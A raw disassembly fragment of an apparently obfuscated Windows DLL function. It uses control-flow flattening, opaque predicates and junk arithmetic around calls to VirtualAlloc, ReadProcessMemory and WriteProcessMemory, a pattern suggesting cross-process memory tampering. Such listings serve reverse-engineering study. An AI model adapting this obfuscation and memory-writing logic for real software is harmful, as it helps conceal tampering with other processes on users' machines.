call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x1006a76c]
mov ecx, dword [0x1006a768]
mov edx, eax
sub edx, 0x9426aee3
sub edx, 1
add edx, 0x9426aee3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7d21aa8a
mov ecx, 0xd1dcfe29
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10008280
mov dword [ebp - 0xf4], 0xab17b17d
jmp 0x10008280
mov ecx, dword [0x1006a76c]
mov eax, dword [0x1006a768]
mov edx, ecx
sub edx, 0x4d5ab49c
sub edx, 1
add edx, 0x4d5ab49c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9af7e145
mov ecx, 0x2ad4b3d4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10008280
mov dword [ebp - 0xf4], 0x9557fddf
jmp 0x10008280
mov dword [ebp - 0xf4], 0xca00bfa
jmp 0x10008280
mov ecx, dword [0x1006a76c]
mov eax, dword [0x1006a768]
mov edx, ecx
sub edx, 0xc6ef26d7
sub edx, 1
add edx, 0xc6ef26d7
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x362121f2
mov ecx, 0xade500ff
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10008280
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10008560
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [ebp - 0xf4], 0xf4a2404b
jmp 0x10008280
mov dword [ebp - 0xf4], 0xdb2853d3
jmp 0x10008280
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
mov eax, dword [ebp - 0xe4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0xf4], 0x27f310e5
jmp 0x10008280
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.10002770
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xcc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0xf4], 0x98a8aa2f
jmp 0x10008280
mov dword [ebp - 0xf4], 0x3c87d7da
jmp 0x10008280
mov dword [ebp - 0xf4], 0xd464d7fb
jmp 0x10008280
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0xf4], 0xe091aa29
jmp 0x10008280
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax]
mov edx, dword [ebp - 0x9c]
mov edx, dword [edx]
movzx eax, word [eax + edx*2]
xor eax, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xfff
mov edx, 0xffffffff
xor edx, 0xdaec9a28
or eax, esi
or edx, 0xdaec9a28
xor eax, 0xffffffff
and eax, edx
sub ecx, 0x2edfee96
add ecx, eax
add ecx, 0x2edfee96
mov eax, dword [ebp - 0x98]
mov dword [eax], ecx
mov eax, dword [ebp - 0x98]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xdc]
mov edx, dword [eax]
mov eax, dword [ebp - 0x94]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov dword [ebp - 0xf4], 0x37970c29
jmp 0x10008280
mov eax, dword [ebp - 0xdc]
mov edx, dword [eax]
mov eax, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x24]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0xf4], 0xba68b53a
jmp 0x10008280
mov dword [ebp - 0xf4], 0x19fd265f
jmp 0x10008280
mov dword [ebp - 0xf4], 0x2ad4b3d4
jmp 0x10008280
jmp 0x100055a7